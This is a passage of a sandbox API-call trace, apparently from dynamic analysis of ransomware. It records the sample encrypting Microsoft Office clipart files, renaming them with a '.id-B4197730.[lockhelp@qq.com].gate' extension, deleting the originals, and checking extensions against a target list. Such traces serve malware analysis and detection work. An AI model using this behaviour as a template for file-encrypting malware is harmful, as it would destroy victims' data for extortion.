(hObject=0x4f0) returned 1 [0315.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf")) returned 0x220 [0315.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0315.874] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.874] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0315.875] GetLastError () returned 0x0 [0315.875] ReadFile (in: hFile=0x4f0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0xe16, lpOverlapped=0x0) returned 1 [0315.924] WriteFile (in: hFile=0x4f8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xe20, lpOverlapped=0x0) returned 1 [0315.925] ReadFile (in: hFile=0x4f0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0315.925] WriteFile (in: hFile=0x4f8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0315.925] SetEndOfFile (hFile=0x4f8) returned 1 [0315.929] CloseHandle (hObject=0x4f8) returned 1 [0315.932] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.932] SetEndOfFile (hFile=0x4f0) returned 1 [0315.941] CloseHandle (hObject=0x4f0) returned 1 [0315.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.942] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf")) returned 1 [0315.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0315.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0315.943] lstrlenW (lpString=".doc") returned 4 [0315.943] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0315.943] lstrlenW (lpString=".docx") returned 5 [0315.943] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0315.943] lstrlenW (lpString=".pdf") returned 4 [0315.943] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0315.943] lstrlenW (lpString=".xls") returned 4 [0315.943] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0315.943] lstrlenW (lpString=".xlsx") returned 5 [0315.943] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0315.943] lstrlenW (lpString=".ppt") returned 4 [0315.943] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0315.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0315.943] lstrlenW (lpString=".zip") returned 4 [0315.943] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0315.943] lstrlenW (lpString=".rar") returned 4 [0315.943] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0315.943] lstrlenW (lpString=".bz2") returned 4 [0315.943] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0315.943] lstrlenW (lpString=".7z") returned 3 [0315.943] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0315.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0315.943] lstrlenW (lpString=".dbf") returned 4 [0315.943] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0315.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0315.943] lstrlenW (lpString=".1cd") returned 4 [0315.943] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0315.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0315.943] lstrlenW (lpString=".jpg") returned 4 [0315.943] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0315.944] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=9154) returned 1 [0315.944] CloseHandle (hObject=0x4f0) returned 1 [0315.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 0x220 [0315.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0315.945] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.945] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0315.946] GetLastError () returned 0x0 [0315.946] ReadFile (in: hFile=0x4f0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x23c2, lpOverlapped=0x0) returned 1 [0316.069] WriteFile (in: hFile=0x468, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x23d0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x23d0, lpOverlapped=0x0) returned 1 [0316.070] ReadFile (in: hFile=0x4f0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0316.070] WriteFile (in: hFile=0x468, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0316.070] SetEndOfFile (hFile=0x468) returned 1 [0316.071] CloseHandle (hObject=0x468) returned 1 [0316.071] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.071] SetEndOfFile (hFile=0x4f0) returned 1 [0316.073] CloseHandle (hObject=0x4f0) returned 1 [0316.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.074] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 1 [0316.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0316.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0316.074] lstrlenW (lpString=".doc") returned 4 [0316.074] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0316.074] lstrlenW (lpString=".docx") returned 5 [0316.074] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0316.074] lstrlenW (lpString=".pdf") returned 4 [0316.074] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0316.074] lstrlenW (lpString=".xls") returned 4 [0316.074] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0316.074] lstrlenW (lpString=".xlsx") returned 5 [0316.075] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0316.075] lstrlenW (lpString=".ppt") returned 4 [0316.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0316.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0316.075] lstrlenW (lpString=".zip") returned 4 [0316.075] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0316.075] lstrlenW (lpString=".rar") returned 4 [0316.075] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0316.075] lstrlenW (lpString=".bz2") returned 4 [0316.075] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0316.075] lstrlenW (lpString=".7z") returned 3 [0316.075] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0316.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0316.075] lstrlenW (lpString=".dbf") returned 4 [0316.075] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0316.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0316.075] lstrlenW (lpString=".1cd") returned 4 [0316.075] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0316.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0316.075] lstrlenW (lpString=".jpg") returned 4 [0316.075] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0316.076] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=24528) returned 1 [0316.076] CloseHandle (hObject=0x4f0) returned 1 [0316.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 0x220 [0316.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0316.077] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.077] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0316.077] GetLastError () returned 0x0 [0316.077] ReadFile (in: hFile=0x4f0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x5fd0, lpOverlapped=0x0) returned 1 [0316.203] WriteFile (in: hFile=0x468, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x5fe0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x5fe0, lpOverlapped=0x0) returned 1 [0316.204] ReadFile (in: hFile=0x4f0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0316.204] WriteFile (in: hFile=0x468, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0316.205] SetEndOfFile (hFile=0x468) returned 1 [0316.205] CloseHandle (hObject=0x468) returned 1 [0316.205] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.205] SetEndOfFile (hFile=0x4f0) returned 1 [0316.207] CloseHandle (hObject=0x4f0) returned 1 [0316.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 1 [0316.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0316.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0316.208] lstrlenW (lpString=".doc") returned 4 [0316.208] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0316.208] lstrlenW (lpString=".docx") returned 5 [0316.208] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0316.208] lstrlenW (lpString=".pdf") returned 4 [0316.208] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0316.208] lstrlenW (lpString=".xls") returned 4 [0316.208] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0316.208] lstrlenW (lpString=".xlsx") returned 5 [0316.208] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0316.208] lstrlenW (lpString=".ppt") returned 4 [0316.208] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0316.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0316.208] lstrlenW (lpString=".zip") returned 4 [0316.208] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0316.208] lstrlenW (lpString=".rar") returned 4 [0316.208] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0316.209] lstrlenW (lpString=".bz2") returned 4 [0316.209] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0316.209] lstrlenW (lpString=".7z") returned 3 [0316.209] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0316.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0316.209] lstrlenW (lpString=".dbf") returned 4 [0316.209] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0316.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0316.209] lstrlenW (lpString=".1cd") returned 4 [0316.209] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0316.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0316.209] lstrlenW (lpString=".jpg") returned 4 [0316.209] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0316.210] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=43892) returned 1 [0316.210] CloseHandle (hObject=0x4f0) returned 1 [0316.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg")) returned 0x220 [0316.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0316.210] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.210] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0316.211] GetLastError () returned 0x0 [0316.211] ReadFile (in: hFile=0x4f0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0xab74, lpOverlapped=0x0) returned 1 [0316.362] WriteFile (in: hFile=0x468, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xab80, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xab80, lpOverlapped=0x0) returned 1 [0316.364] ReadFile (in: hFile=0x4f0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0316.364] WriteFile (in: hFile=0x468, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0316.364] SetEndOfFile (hFile=0x468) returned 1 [0316.364] CloseHandle (hObject=0x468) returned 1 [0316.364] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.364] SetEndOfFile (hFile=0x4f0) returned 1 [0316.367] CloseHandle (hObject=0x4f0) returned 1 [0316.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.367] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg")) returned 1 [0316.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0316.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0316.368] lstrlenW (lpString=".doc") returned 4 [0316.368] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0316.368] lstrlenW (lpString=".docx") returned 5 [0316.368] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0316.368] lstrlenW (lpString=".pdf") returned 4 [0316.368] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0316.368] lstrlenW (lpString=".xls") returned 4 [0316.368] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0316.368] lstrlenW (lpString=".xlsx") returned 5 [0316.368] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0316.368] lstrlenW (lpString=".ppt") returned 4 [0316.368] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0316.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0316.368] lstrlenW (lpString=".zip") returned 4 [0316.369] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0316.369] lstrlenW (lpString=".rar") returned 4 [0316.369] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0316.369] lstrlenW (lpString=".bz2") returned 4 [0316.369] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0316.369] lstrlenW (lpString=".7z") returned 3 [0316.369] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0316.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0316.369] lstrlenW (lpString=".dbf") returned 4 [0316.369] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0316.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0316.369] lstrlenW (lpString=".1cd") returned 4 [0316.369] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0316.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0316.369] lstrlenW (lpString=".jpg") returned 4 [0316.369] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0316.369] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=35546) returned 1 [0316.442] CloseHandle (hObject=0x4f0) returned 1 [0316.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif")) returned 0x220 [0316.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0316.442] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.442] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0316.458] GetLastError () returned 0x0 [0316.458] ReadFile (in: hFile=0x4f0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x8ada, lpOverlapped=0x0) returned 1 [0316.508] WriteFile (in: hFile=0x554, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x8ae0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x8ae0, lpOverlapped=0x0) returned 1 [0316.509] ReadFile (in: hFile=0x4f0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0316.509] WriteFile (in: hFile=0x554, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0316.509] SetEndOfFile (hFile=0x554) returned 1 [0316.513] CloseHandle (hObject=0x554) returned 1 